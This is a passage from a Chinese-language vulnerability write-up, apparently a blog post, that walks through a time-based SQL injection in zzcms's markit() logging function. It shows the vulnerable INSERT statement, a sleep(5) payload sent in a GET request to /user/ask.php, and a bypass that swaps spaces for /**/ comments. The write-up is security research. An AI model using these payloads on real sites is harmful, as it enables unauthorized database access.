存储型XSS参考文章http://www.caiyuhuan.com/index.php/article/lian_fengdingbin_/118.html
SQL注入
还是markit()
函数,既然没有对URI进行过滤直接写入数据库,那么能不能搞点事情呢?
先看看这个query
函数怎么执行的

可以看到直接带入mysqli_query
,那么尝试构造下payload
吧
原始SQL语句
insert into zzcms_bad (username,ip,dose,sendtime)values('" . $_COOKIE["UserName"] . "','$userip','$url','" . date('Y-m-d H:i:s') . "')
既然只有$url
可控,那么直接构造传入的URI就可以了,先直接让数据库执行sleep()
函数
insert into zzcms_bad (username,ip,dose,sendtime)values('test','127.0.0.1','http://www.zzcms2019.cc/user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');#

OK 成功,那么直接构造就行了
GET /user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');# HTTP/1.1
结果发现并没有执行

在函数中dump下$url
看看原因

发现被url中的空格截断了

那么直接用注释/**/
替换

成功睡眠5秒,证明存在SQL注入。